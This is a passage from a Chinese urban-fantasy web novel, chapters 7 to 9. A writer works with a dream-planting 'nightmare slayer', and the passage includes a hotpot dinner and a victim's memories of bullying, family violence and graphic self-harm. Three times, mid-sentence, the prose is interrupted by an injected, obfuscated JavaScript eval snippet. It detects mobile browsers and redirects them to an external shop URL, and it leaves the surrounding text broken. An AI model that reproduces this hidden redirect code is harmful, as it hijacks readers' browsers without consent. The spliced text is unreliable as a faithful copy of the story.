听到这句话韩征丝毫不意外,每次来这里按摩的客人在他和三叔之间选择都会选择后者,理由都是太年轻看着经验不足,或者是年龄相仿男女有别。 男人没有拒绝,坦言道:“她是新手,如果有做的不好的地方请直接给我说。” 孟晓初傻眼了。 但很快,女孩从茫然中恢复了一丝理智。 没吃过猪肉,还没见过猪跑吗? 7. 第 7 章 孟晓初故作镇定地将安神助眠的香点燃,把滚烫发热的湿毛巾轻敷在徐阿姨脸上,紧接着开始捏肩。她的手法生硬无力,女人忍不住几次提醒用力点。 女孩连忙应下,凭着记忆中的动作捶背按腿,不知不觉额头冒出了薄薄一层细汗。一番按摩下来,孟晓初双手无力酸软,在内心一遍一遍祈祷韩征快点出现。 “姑娘,你今年多大了?”被按摩到位的徐阿姨忍不住发出感叹,看到年轻美丽的小姑娘,她的职业病又上来了。 孟晓初将女人慢慢翻过身,回答道:“我二十二。” “这么年轻啊,大学应该读完了吧?你学什么专业的呢?”女孩的回答很简短:“艺术的。” 徐阿姨再次开口,“我第一眼看你的时候,还以为你是韩征上高中的妹妹呢!” 韩征的妹妹?孟晓初哭笑不得。这话要是让他听见了,估计得真比较一下年纪。“小妹妹,你谈恋爱了没?没男朋友的话阿姨可以给你介绍一个。” 闻言,孟晓初双手力气一泄,安静的房间里快速涌上尴尬的气息,让女孩不知道该如何回答。徐阿姨权当女孩害羞不好意思说,直接坐起来把自己觉得合适的人选像倒黄豆般统统说出来。 “你喜欢身材好的还是学历高的?我朋友家的儿子是医学生,今年海硕毕业。样貌一表人才,平时喜欢打网球和羽毛球,我看他与你非常般配。” 听到医学生和海硕几个字,孟晓初两眼一黑。她的上一段恋情就是谈了个混血医学生,毕业分手时闹的很难看。没有出轨移情别恋,对方想结婚但女孩想回国发展。 算和平分手吗?算吧。 女人察觉到孟晓初神色不对,默默在心中把这人给pass掉,眼睛一转脑子里又有其他人选。“你喜欢弟弟吗?我侄子大二,就在海城念书。他修文学你学艺术,你俩在一起肯定有话题聊。正好,我的手机里有他的照片。” “你看了照片一定喜欢!” 徐阿姨打开手机微信,直接翻出了侄子的朋友圈摆在女孩眼前。“他叫乔奕,平时喜欢看书养点花草,性格非常温和礼貌。” 孟晓初滑动着屏幕,男孩的朋友圈很少,只有五条。关于他的照片更少,只有两张。一张是高考毕业拍得照片,蓝白条纹的校服,略长遮眉的黑发,嘴角微微上扬露出一个笑容。 浅浅的,格外生涩。 还有一张是最近的宿舍聚餐大合照,少年穿着黑色高领毛衣坐在角落,冲着镜头开怀大笑。 明媚,热烈。 突然,手机被人用力抽走。孟晓初抬头一看,不知何时韩征站在了自己的身后。“上班时间,禁止看手机。”他的眼神冷漠,透着一股似有似无的幽怨。 被抓包的孟晓初如大敌临阵,时时刻刻注意着对方的一举一动。原本坐起来喋喋不休的徐阿姨也倒下,双眼紧闭。女孩猛的倒吸一口凉气,语气激动:“阿姨刚才还在说话的,怎么就……。” 她俯身伸手准备探人鼻息,下一秒,身后的男人便将女孩拉了回来。韩征无奈道:“她被催眠了。” “那我们怎么办?”孟晓初轻声问道。 “植梦。”此话一出,韩征瞬间化成一缕青烟飘进女人的眉间。 …… 半个小时后,韩征回来了。 坐在沙发上码字的孟晓初看到男人的身影,立刻起身倒水递上,语气疑惑:“徐阿姨没事吧?” 韩征一口气喝掉大半杯温水,坐在沙发上缓缓道来:“她这种单纯因为压力大的,我们会植入美梦来缓解脑内压力修改意识,然后再施法放松身体。一般三到七天,她的压力就会消失,催婚的意识也渐渐淡去。” “原来你们还可以植梦……”孟晓初若有所思地喃喃道,语气一转,她仰头逼问对方:“既然按摩都是靠法力完成的,那刚刚你为什么不早点进来帮我?” “我看你胸有成竹的样子,不像新手像个老师傅。” 韩征的回答让女孩语无凝噎,只好悄悄在心中大骂这个没有同事情谊的男人。这些行为都被韩征看在眼里,但他没有多去和女孩计较,反而拿起了她放在茶几上的电脑。 “你在写什么?”他将文档滑动到最上方,开始仔细阅读第一行。 没写完的故事孟晓初都不会轻易拿给别人看,关瑶都不行。女孩眼疾手快地夺走电脑,竖起食指左右摇晃故弄玄虚,“你已经看了不该看的东西,这两天便会有鬼找你麻烦。”说完,还有意地在韩征眼前晃一圈。 “为什么?”他果不其然地说出了那三个字。 “因为这些都是写给横死在市中心十字路口的恶鬼,你看了他们想要的东西,让它失去了神秘性。你觉他们会放过你吗?更何况,这东西还是镇压他们的物品之一……”孟晓初一点一点欺身而上,眼神凶狠语气夸张。 说到这,女孩见气氛已经到了,迅速啪得一声关掉电脑。看见韩征被吓到的模样,孟晓初再也压抑不住心中的笑意,噗嗤一声笑了出来。顿时,韩征才反应过来这是恶搞,迅速黑了脸。 “这你都相信啊?你还是斩魇师呢!好歹也算半个神仙了吧,居然害怕鬼这种虚无缥缈的东西。”孟晓初笑道,动手擦掉眼角的泪花。 韩征无奈开口:“谁告诉你他们是虚无飘渺的东西?” 女孩闻言一愣,不可置信地望着他,嘴角努力扬起一个苦笑:“你别以为你弄唬到我,我是坚定的唯物主义者!” “过两天你就不会这么说了。”韩征施舍出同情的眼神,又道:“普通人是看不到他们,但你是普通人吗?等你的身份更新到好梦局系统里,你每天都能看到。” 孟晓初笑不出来了,尴尬地抱着电脑坐回原位。此时,东侧的房门传来声响,徐阿姨醒了。 走出来的女人早已没了当初的苦愁,现在格外的神清气爽、容光焕发。徐阿姨一边活动着身子,一边打趣道:“小姑娘你的手艺可真好啊,我现在浑身轻松,好久都没这么舒服过了。” 孟晓初句句回应,扶着徐阿姨走出大厅又叮嘱道:“阿姨回去了好好休息,年轻人的事情他们自有打算——” “你觉得我侄子怎么样啊?”女孩安慰的话说到一半被徐阿姨硬生生打断,两人站在院子大门边,徐阿姨掏出手机作势要加好友给女孩推那人的联系方式。 徐阿姨盛情难却,孟晓初只好扫码添加好友。通过后女人立马又把男孩的微信推过来,在徐阿姨真挚且急促的目光下,孟晓初向对方发送了好友申请。 “我会叫他马上通过的,后面你们俩好好聊哦,我很看好你的!”徐阿姨大步迈过门槛,笑盈盈地冲女孩挥手。 走时还不忘朝屋里的韩征宣传,“小伙子你想谈恋爱的话就找阿姨,我保证给你找个般配的!” 孟晓初扶额苦笑,送走人后她已经精疲力竭,揉了揉笑得发酸的脸颊。 站在门口的韩征观望了所有不禁冷脸,毫无情绪地提醒女孩:“以后送人走时叫他们在美团上写一个好评,下次来可以打折。” 孟晓初欲哭无泪,瞬间发出感叹:“神仙也要做好评返现吗?” 晚饭孟晓初在好梦局吃了,临近下班的时候她闻到了红烧排骨的香味,知道韩征肯定会客气地询问她是否要留下吃饭,在收拾东西的时候女孩故意磨磨蹭蹭。但今天,韩征没有问她。 他在厨房里盛饭,孟晓初以乌龟的速度慢步在客厅里。 “我走了?”女孩说道,眼睛死死盯着厨房门口。 韩征没有任何回复。 “我走咯?”女孩声音提高了一个度,对方依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529343|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧没有回答。 “我走啦!”不死心的孟晓初直接走到厨房门口,对着男人的背影大喊。韩征身子一顿,嗯了一声。 他始终没有回头。 孟晓初快步走到韩征的身边,发现他已经盛了两碗饭。“我没说我要留下来吃饭吧?”女孩趁机调侃道,露出坏笑。 韩征无奈闭上双眼,认栽道:“我不小心多盛了一碗,你要留下来吃吗?” “勉为其难吧!”孟晓初端过饭碗走到电饭煲边,打开一看,满满一大锅大米饭。这根本就不是一个人能吃完的。 不小心多盛了一碗,那也不小心煮一大锅饭吗? 饭桌上,孟晓初看着自己啃出的两座大山,撑得不行。就这么吃一个多小时,韩征烧得排骨还有一大锅。她倒是还有心再吃几块,但肚皮不允许了。 如果韩征不做斩魇师的话,那他一定是个非常棒的厨子。 韩征站在洗碗池洗碗刷锅,孟晓初则靠在门框边喝酸奶。闲来无事,她想到了上午看到的梦魇。如果梦魇者主动上门求救,他们还可以斩收梦魇。但如果那人不知道自己有梦魇的呢? “你们平时是怎么发现梦魇的呢?”女孩走到韩征的身边,把洗净的碗筷收到碗柜里。 韩征取下围裙,顺势擦干手上的水渍,卖弄关子:“你想知道?” 女孩奋力点头如捣蒜。 “我们有地图。”话音刚落下,两人的眼前边出现一张地图,如阿拉丁中的神奇地毯一样飘浮在空中,柔软又可无限放大。 地图上显示着海城的鸟瞰图,动手可以切换到任意国家、任意角落。 原来,梦魇到达甲乙高等级时地图将会自动显示,精确到它所寄生的主人住的哪个小区,那一层楼几号房。而丙丁级甚至更低的梦魇,一般对人伤害不高,生活中碰巧遇到了韩征也会顺手处理。 “那你能找到我的家吗?”女孩随口一提,她并不相信这玩意真能找到地方。下一秒,地图便显示出关瑶的门牌号,上面标注着哪个小区哪栋楼几号房。 孟晓初哑口无言,尴尬一笑:“哇哦——它比GPS还准哎。” 离开好梦局时,女孩还顺手打包了一盒红烧排骨,韩征提着饭盒锁上门。小巷的老路灯前天彻底报废,无光的两人一前一后的走着。 韩征的脚步很轻,这给孟晓初一种身后无人的错觉。寒冷的冬天,漆黑的夜晚,她的脑海里闪过几周前看过的恐怖电影。 也是这样的夜晚,一个人独自回家的女主,在路口遇上了无家可归的“男人”…… 韩征说过,她过不了多久也可以看到那些。一时间,孟晓初忍不住打了个寒颤。“韩征,你在吗?” “在呢。” “我手机没电了,你能开个手电筒吗?” 闻言,韩征四处摸了摸口袋,好一会儿才翻出手机。他交给女孩,但对方没接过。“你走前面吧。”孟晓初又开口道。 如果前面有鬼,韩征将是第一见证人,如果有事应该也会去找他……虽然想法很恶劣,但女孩还是在心中默默祈祷不要撞上。 突然,孟晓初脚步一踉跄,她感觉自己的小腿被人抓了一下。来不及尖叫大喊,女孩迅速抓住前面男人的胳膊,如抓住救命稻草一般,久久不松手。 韩征好奇的回头,很快便被女孩快速扭回去。 “别回头!” 孟晓初心中如打雷,害怕又强装镇定。老人说过,半夜走夜路不要回头。 韩征没有停下脚步,而是放缓步子,用手电筒的余光照亮身后的路。 “我们碰到了那个吗?”女孩在后面悄悄问道。 韩征想到了女孩白天被他吓时惊恐的模样,不禁一笑,许久才回答:“没有。” 原来是怕这个。 8. 第 8 章 好梦局的事务没有孟晓初想象的那么多,在无客的空闲时间,女孩还是码字写文准备新书。只不过,她不再执着于和平台签约。 孟晓初所有的小说都在红河阅读,供读者免费阅读。偶尔兴趣或灵感来了,她也写点番外小段子在微博上,时间一久,孟晓初在微博上的粉丝达到了惊人的五万。 和读者聊天成了她上班摸鱼时最大的乐趣。 韩征每天上午会写梦魇相关的日志,午饭一过,他便窝在沙发的另一端看《动物世界》。在三叔不在的日子里,两人相处得甚是和睦、闲散。有时候女孩觉得有些过意不去,想去做点家务平和一下,结果发现韩征已经做完了所有。 孟晓初表示无奈,只能被迫躺平。 周五,陈三叔回来了,带着两箱子边南的特产。韩征划开纸箱子,里面全部装着农家香肠、烟熏火腿和腊肉排骨,个个熏得流油。这些东西在城里面很难买到,全是私人做的。 “三叔,这些东西少说有五六十斤了,你怎么弄回来的?上下车很难搬吧!”孟晓初帮着韩征把纸箱里的肉一块一块拿出,等会儿还要分袋装冰箱。 陈三叔慢悠悠地喝着茶,神情自在:“都是我扛回来的,两个箱子洒洒水啦!” 此话一出,孟晓初特地上下打量一眼斜前方的人,陈三叔看着干瘦苗条,丝毫不像是健身的料子。这五六十斤的东西从边南带回来,一路的颠簸加汽车、高铁的换乘……是她眼浅了,孟晓初在心里自叹道。 “你还真相信?”开始收拾垃圾的韩征把纸箱带有胶布封条的一面展示给女孩看,EM速递。 女孩马上露出鄙夷的表情,唏嘘道:“咦——” 被臊到的陈三叔立马摆手做出”停止“的手势,大声道:“好了好了,今晚上我来做饭。大家吃排骨火锅!” 粉色碎花围裙套在了陈三叔身上,比韩征还让人眼前大亮,颇有喜感。孟晓初捂嘴笑了半天才和韩征出门买菜,因为决定突然,他们去了附近的超市采买。 十一月底,海城开始下雪。鹅毛一样的雪花从黑夜降落,来势不大。两人提着大包小包的食物从超市出来时,外面的街道才被雪打湿。 陈三叔把准备好的蔬菜围着火锅摆了一圈,先炖下的腊排骨散发出浓烈的肉香,混合辣椒香料的味道直让人胃口大开。 火锅咕噜咕噜沸腾着,开饭前粉色围裙系在了孟晓初身上,她的白色羽绒服有了有一个油点子都是灭顶之灾。 韩征将事先凉好的茶水放在女孩碗边,三叔是无辣不欢的西南人,今晚这顿火锅必定是魔鬼变态辣的程度。他一边下菜,一边时时刻刻关注锅里的动向,水少添水,菜淡加盐。 “好了吗?”三叔夹起一颗牛肉丸,冲着男人问道,一旁的孟晓初十分期待地看着他。韩征扫了一眼三叔,语气决绝:“没有。” “那这个呢?”三叔又夹起一片牛肉,再次开口。 “没有。” 听到一样的回答,三叔有些烦躁忍不住嘟囔:“都没熟怎么吃啊?!” 往里下蔬菜的韩征手一顿,语气颇为无奈:“下点毛肚鸭肠吃吧,那个快。”孟晓初夹了一筷子鸭肠在红汤中涮了一圈,顺势就要放进油碟里,不料被韩征一筷子半路夹回锅里。 男人深叹一口气,柔和道:“没好,再烫烫。” 陈三叔和孟晓初两人心如死灰。 为了防止让心机的两人吃到没煮熟的东西,韩征专门拿来一个空盘子,将煮熟的食物挑出来。 “晓初,今晚的火锅你还能接受吗?我一向就喜欢吃辣,但韩征不太能接受。”陈三叔问道。 吃得面红耳赤的女孩擦擦脸上的汗水,格外地兴奋,“我特别喜欢吃辣,这个辣度还在可接受范围之内!” 听到女孩的回答,陈三叔瞬间激动起来,仿佛找到了志同道合的道友,他道:“哎呀,能接受我这个辣度的姑娘很少啊,你来了可算有人陪我吃了。不然,就韩征一个人总觉得在针对他。” 韩征呵呵一冷笑,用力戳破锅中的牛肉丸,趁着那两人还在闲聊悄悄地往牛肉丸中塞满花椒,然后放在了陈三叔那边的空盘里。 “帮我拿瓶啤酒吧,我快喝光了。”已经吃上头的陈三叔直接和女孩聊起了他在边南发生的趣事。他原本第三天就可以回家的,但是朋友过于热情,留他参加完妹妹的婚礼才让走。 生活在边南的人民基本上是热情好客的少数名族,他们结婚与海城这边不同,不是简单的西式婚礼挂礼吃席,而是家族婚礼载歌载舞地大办三四天。 听着三叔如何喝趴边南小伙的故事,韩征打开冰箱发现最后一瓶冰啤酒被喝掉,只好又去储藏室里开新的一箱。 韩征揭开瓶盖递给男人,余光中发现盘子里的牛肉丸已消失不见,再瞧一眼陈三叔,微微急促的呼吸,张嘴的大喘气,应该是他吃掉了。 陈三叔是个非常注重自己的仪表的人,绝不会在别人面前做出有损面子的事。简单一点,他给自己的人设是风趣富有魅力的绅士大叔。 与其在孟晓初面前面目狰狞、掉口水地吐掉牛肉丸,三叔只会风平浪静地吞下这个哑巴亏——“花椒炸弹”。 想到这,韩征忍不住嘴角上扬,但害怕自己的得意引来了孟晓初的得意,又迅速地压下去。 韩征调小火锅的火候,又往里加了一些蔬菜,刚坐下身旁的女孩便迅速地推来一碗堆的高高的小山。碗里什么都有,丸子牛肉排骨。 “都看你都没怎么吃,这些都是刚刚特地给你下的。”孟晓初解释道,顺手还给对方倒一杯橙汁。 整个晚上韩征都如家长的一样操心,害怕食物没熟被误食就亲自守锅,蔬菜吃光就去现 洗现切,饮料喝完就跑腿去冰箱拿。 这些,都被女孩看在眼里。在这几天的相处下,她发现韩征并不是初见时那样的冷漠少言的样子,而是沉稳体贴的。在面试的那一天,孟晓初就观察到了。 韩征总是能准确的猜出你的心思。 “咳咳咳——” 突然身旁的男人发出巨大的咳嗽声,孟晓初侧过身一瞧,韩征满脸通红不停地拍自己的胸脯。 这是辣到了? 女孩迅速地将饮料递给韩征,但喝下去也是杯水车薪。韩征被辣椒刺激得神志不清,整个人在屋子里上蹿下跳,模样着实狼狈不堪。 孟晓初见状拿起碗边的大壶冷茶,不说分由地给他灌进嘴里,轻拍后背给男人顺气。这时,韩征才缓过来。 坐在对面的陈三叔完全波澜不惊,看着两人在这手忙脚乱,甚至发出了震耳的笑声,他调侃道:“就你这小把戏再琢磨十年吧,我不用看就知道你肚子里藏着什么样的坏水!” 这话听得孟晓初一愣一愣的,回头一看,韩征黑着脸一副不想说话的样子。这到底是怎么回事? “你们在说什么?”她问道。 陈三叔也不买弄关子,直言道:“他吃醋了。” “吃醋?”女孩还是不理解,甚至更加迷茫,她向韩征发出疑问:“你不能吃醋吗?” 第一次见吃醋能搞出这么大动静的,醋难道不是解辣的吗?孟晓初觉得饭桌上的气氛怪怪的,有一种说不出来的味道。 韩征没有回答,反而是引得陈三叔再次发出如雷般的笑声。 “我们两个吃辣的让他这个不吃辣的心里不平衡了,想暗地里想整蛊我不料被我看穿反被捉弄回去。这叫自食恶果。” 原来如此,孟晓初大概知道是怎么一回事了。 她想笑又不敢笑,只好动手又给韩征倒了一杯冷茶,缓缓推到男人的跟前,笑吟吟哄道:“我也可以陪你不吃辣椒。” “不需要。”韩征语气冷漠,一个眼神都没给她。随后,他转身离开餐桌走到客厅取下车钥匙,走到门口冲着女孩催促:“走吧,雪下大了我送你回去。” 闻言,孟晓初迅速脱下围裙快步走到韩征的身边,露出一个甜甜的笑容。“别生气了。” 男人看了一眼姑娘,紧绷又愤怒的情绪才渐渐平缓下去。一想到刚刚在孟晓初面前那样丢脸,维持了这么久的人设全部毁于一旦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529344|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩征真想打个洞钻进去,把自己藏起来。 陈三叔看着两人的一举一动,眼里涌出别样的感情。听到关上大门的声音后,他起身开始收拾残局。收到韩征的那碗时,却发现他另外加料的牛肉丸全被吃了。 挺能忍。 晚饭前,孟晓初认为这场夜雪应该下不大,不料两三个小时后,街道上已经积有薄薄一层。车里开着暖气,韩征放了一首抒情的英文歌,孟晓初靠在起雾的车窗上看着红红绿绿街景。 车内格外安静。 “今晚上估计你没吃饱吧?”孟晓初率先开口,提议道:“我家楼下有一家好吃的面馆,叫老张面馆,里面的杂酱面特别好吃,等会儿我请你吃。” 韩征面无表情的扫了一眼副驾的人,开车拐进一条宽阔大路,客客气气地回复:“不用了。” 看到熟悉的商店,孟晓初知道自己快到家了。 “你还在生气吗?”女孩小心翼翼地问道。 “没有。” 孟晓初干干地“哦”了一声,偷偷用余光观察着韩征的表情。他好难哄。 忽然,韩征偏头看了过来。一瞬间,女孩就对上了他的眼神,明明没有干什么坏事的她还是心虚的低下头,心脏剧烈的跳动。 “我真的没有生气,你也不用为了我改变自己。”韩征再次开口解释,语气恢复到了往日的随和。“况且,我也不是一点辣都不吃,你喜欢我也可以接受。” 女孩没有回答,不自觉地抓紧身上的安全带。等车一停好,她就马上开门走人。 因为她闻到了一股暧昧的气息,可能是作者的原因,孟晓初对语言特别的敏感。也或许是车内暖气的原因,她的脸好烫,韩征所说的每个字都在脑海里无限放大。 “明天见。”女孩丢下这一句话,慌乱下车离开。 韩征没说出口的那句再见被咽回肚里,他看着女孩的身影渐渐消失在黑夜中,再次启动发动机,车停在了老张面馆。 凌晨两点四十三分,一阵急促且不停息的电话铃声打破了深夜的寂静。 孟晓初是被手机的震动声吵醒的,人还没睁开眼看清对方是谁,她便接通了电话。“新台街瑞泰小区突然出现乙级梦魇,你快点下来我在小区门口等你。” 乙级梦魇? 女孩脑子一瞬间清醒,迅速地下床套上衣服。事发紧急,孟晓初来不及思考抓起钥匙便往下冲。夜雪未停,两人汇集后便驱车立刻赶往瑞泰小区。 “这次乙级梦魇寄生的宿主是一个网店服装模特,现在这个梦魇正在往甲级方向疯狂生长。我们得在它彻底变成甲级时就速战速决,如果拖下去后果不堪设想。”韩征从容镇定地给女孩介绍已知信息,至于具体的梦境,目前一无所获。 孟晓初看着仪表盘上的数字飙升得越来越大,她的内心开始紧张、兴奋起来。以往与韩征合作,都是从他口中得知梦境再编写,然而这次她可以第一手感受梦境。 想到续写,孟晓初突然一拍脑门,她居然把最重要的东西放在家里了。“遭了,我的电脑还在家里。”女孩惊呼道。 “不用,后备箱有一台特制笔记本,等会儿你直接在上面编写梦境。切记,只有一次编写机会,所写的文字不能修改不可删除。” 韩征的一番话让孟晓初手心发汗,她不自在地擦在腿上。寂静的深夜,刺骨的冷空气,整个海城都陷入沉睡。无人知晓他们会进入谁的梦境,斩杀怎样的恶魇。 前方会发什么,一切都是未知。 所有事情都如兴奋剂一般,强力地刺激孟晓初的大脑。 韩征将车停在了小区后面的老街边,从后备箱取出电脑递给孟晓初。此电脑和市面上的笔记本别无两样,女孩紧紧抱在怀里。忽然,胃里传来一阵异样,难言的绞痛占据身体的各个细胞。 “你怎么了?”韩征注意到女孩的眉头紧锁,关切问道。 孟晓初摇摇头,轻声道:“没事。”今晚是她第一次出任务,绝不允许自己出现任何意外。女孩抬脚先踏进电梯,韩征紧跟身后按下了十五的楼层键。 9. 第 9 章 “叮——” 电梯门开了,孟晓初怀着沉重的心情跟在韩征身后,两人站在1503号门口。 “我们怎么进去?”女孩疑惑地看着男人,下一秒,只见韩征抬手在空中一个响指,一道和1503一模一样的大门瞬间出现在墙壁上。 韩征用力拧下把手,推开门里面是看不见尽头的黑洞。 一声撕心裂肺的惨叫声回荡在两人的耳边,他们站在主卧的门口,孟晓初被床上的场景吓得不自觉后退一步。 那是一种难以用言语描述的画面。 诡异?恶心?还是渗人? 拉紧的窗帘透不进一丝外面的光亮,整个房间只开了盏小夜灯,暖黄的灯光因为线路问题一闪一灭。米白色的墙上挂满大小不一的相框,仔细观察一下,上面全部都是一男一女约会的亲密照。 但反常的是,每张照片的男生都被红色马克笔涂花,“去死”的两个大字写在女生的身上。 视线一低,床上的女孩如电影中的染上病毒的丧尸一般抽搐地扭动着身子,两只手用力撕扯着长发,她面目狰狞、不停地哭诉道:“对不起,对不起我不会再吃了啊啊啊啊——” 说完,女孩便发出干呕的声音,仿佛要把自己的五脏六腑全部吐出。忽然,一股绿得发黑的液体从她的嘴里涌出…… 顿时,一股食物腐烂的味道立刻飘出来。 孟晓初闻到气味瞬间反胃,两眼紧闭心里默念许久职业素养才把那股劲压下去。她准备上前制止,脚下却被东西绊住——一地的外卖餐盒。 未打理的餐盒流出各样的汤汁,将床下缩成一团的被子染上五颜六色,上面爬满蚊虫。毛衣长裤成堆放在地上,上面黑色的液体已经干涸,留下不浅的印记。 孟晓初再次反胃。 还没等她缓和,床上的女孩又有了新情况。 她突然坐起来,乱抓床上的外卖垃圾疯狂地塞进嘴里。“好饿,我要吃东西,好饿!”女孩大声地怒吼。手上没有东西可吃,她就开始啃咬自己的手臂。 本就枯瘦得只剩下皮包骨的姑娘,大张嘴巴恶狠狠地撕咬着手臂上的皮肤,没过几分钟,整个手臂便血淋淋的。女孩似乎觉得还不过瘾,抬高手臂直接上嘴扯下自己的肉,放在嘴里象征性地咀嚼几下。 随后,又开始撕扯自己的身体。 “我们该怎么办?再这样下去,过不了多久她就吃掉自己了!”孟晓初已经被眼前的场景吓蒙,双腿无力支撑身体差点跪倒。幸好,旁边的韩征眼疾手快地扶住她。 韩征的脸上没有任何表情,冷眼观察女孩在床上一切违人类的举动,“时间还没到。”男人的语气很平和,浑身散发着从容的气息。 当女孩再次喷涌式地吐出黑水时,他从包里掏出一张大小如电话卡的芯片,迅速地装在孟晓初手上的笔记本。“你先跟我一起进入记忆了解具体梦境,笔记本已经连接到她的大脑,等会儿出来了你便直接在上面改写。” “切记,只有一次机会。”他再次强调。 晓初刚开口准备回答,还没出声她的右手便被韩征十指紧扣,一道白光快速从眼前闪过,她的身体变得轻盈化作青烟飘进女孩的眉心。 再次睁开眼睛,映入眼帘的是一幅宽大无边的幕布。“这是哪里?”孟晓初新奇地环顾四周,她和韩征坐在一个类似电影院的地方。不过,这里只有两个观众。 “嘘——开始了。”韩征做了个噤声的手势,他抬头聚精会神地盯着前方,格外的放松。忽然,身后传来老式电影播放机的咔咔声,眼前的幕布出现了画面。 是一个女孩的身影,她穿着肥大的校服背着笨重的书包,低头驼着背一点一点走远。 后来,孟晓初才知道,此时的他们来到了夏恩的记忆厅。 * “夏恩,大肥猪!”一个矮小干瘦的小男生跳出来,不停地变换动作做鬼脸,嘴里发出古怪的声音。看到跟前比自己高一个头的女生害怕地退到教室角落里,他兴奋地蹦起来,“夏恩,大肥猪,大肥猪!” 扎着小辫子的女孩无助的蹲在地上小声哭泣,身上的黄色碎花小裙子被人用笔恶意地画上猪,这是小时候的夏恩。 镜头开始模糊,一转是一个满脸青春痘流脓、肥胖壮实的男生。 “夏恩,回头!”一个带着戏谑意味的起哄声出现在厅里,“王俊杰说他喜欢你!你们俩什么时候谈恋爱啊?” 他从夏恩的课桌边经过,故意撞倒女孩桌上的才打的开水。杯子里的水哗哗流出,瞬间打湿她刚写完的英语练习册。 “程康,你能不能别这样?我哪里惹到你了吗?”夏恩反问道。 程康停下脚步回头看着位置上含胸驼背的女生,脸上有些不满,阴阳怪气道:“你怎么能这么说?我这是好心帮他坦白自己的心意啊!况且,你们俩也很般配啊,两个猪头在一起以后生个小猪头,猪头家族哈哈哈哈!” 此话一出,全班哄堂大笑。女孩没有再反驳,而是拿出纸一点一点擦干练习册上的水渍。这种场面她已经见怪不怪了,夏恩明白自己走到哪里都是最惹眼的。 不是因为漂亮、优秀,而是肥胖。她又高又胖,在别人眼里是一堵墙。 高三的晚自习结束后,夏恩独自一个人走回家。早就吃完饭的父母坐在沙发上各玩各的手机,她走进家门的那一刻,两人都心照不宣地如同陌生人般低头。 夏恩坐在书桌前,翻开没做完的物理作业。半个小时后,客厅传来东西摔打的声音。男人的打骂混合着女人的还击,这是她每晚做作业都会听到的声音。 “离婚!老子要跟你这个疯女人离婚!”夏父怒吼道。头发散乱的夏母也不甘示弱,声音又尖:“离就离,明天就去民政局!不用等她高考完,反正她现在这个样子也是个废物。” “孩子归你,我不要。”夏母补充道:“她那个样子,我看着就犯恶心。” 闻言,夏父瞬间不乐意,立刻反问女人:“凭什么?你恶心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530628|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就不恶心吗?我把她带着怎么找下一个?” “你还用找?公司里不是有个相好等着……”女人的话还没说完,夏父抬手甩下一巴掌,“你少在这里污蔑!你以为我不知道你和你那个狗上司的事情!” 夏母的脸马上红肿,火辣辣的疼。两人很快又扭打在一块。 女孩算题的手一停,眼神呆滞地看着上面密密麻麻的数字,余光瞥见一旁镜子中的自己。大脸小眼蒜头鼻,还有不用刻意挤就能瞧见的双下巴。 真如他们每个人所言,自己就是一个不折不扣的猪头。 女孩悄悄握紧笔杆,积攒一天的情绪如开闸的洪水涌上,大颗大颗的泪水砸在作业本上,将字全部晕染开。 为什么这么胖?为什么没有人爱你?为什么活着?女孩一遍又一遍小声质问着自己。恨意到达顶峰时,夏恩甚至给自己打了两巴掌。 看着镜子里的模样,女孩只觉得一阵恶心。 幕布一黑,再次亮起时是一个婴儿仰望的角度。身下的摇篮左右摇晃,小孩伸出手努力想要抓住悬挂在空中的玩偶,嘴里发出咿咿呀呀的声音。 “小恩,我是妈妈。叫,妈妈——”样貌清秀的夏母俯身抱起婴儿,亲昵地在她的耳边说道。小孩看着摇篮上的玩偶离自己越来越远,开始伸手蹬腿表达不满。 夏恩出生的那一年,夏父晋升为公司的总经理,他们给孩子取名单字一个恩。她的出现,是上天给予的恩泽,更是两人相爱八年的果实。 夏恩的到来,让这个普通平凡的家庭变的特别。夏父每天都期盼着下班回家,夏母时刻在意着夏恩的一举一动。在爱的呵护与浇灌下,小恩成了学校里最自信、最漂亮的小孩,每个看到她的大人都会忍不住夸赞几句。 直到,夏父因工作失误被辞退,家里没有资金来源。夫妻俩决定南下寻找出路,将正在上四五年级就的夏恩留在了家里,交给爷爷奶奶照顾。这一刻,事情发生转变。 隔辈亲的照顾加上父母不在的自由,夏恩开始长胖。起初还好,小姑娘圆圆的很可爱。虽然被班上的男生调侃,夏恩也还是不在意。 上了初中后,夏恩如吹了气的皮球一样迅速长高变胖。洗澡时,女孩发现自己的身上多了数条白痕,那时肥胖纹。 她不是没想过减肥,可每次少吃一点,下一顿爷爷奶奶便加倍的补回来。不仅他们,连夏恩的内心也开始疯狂的弥补自己。她的身体仿佛住了一只永远吃不饱的怪兽,只有食物给了她莫名的踏实。 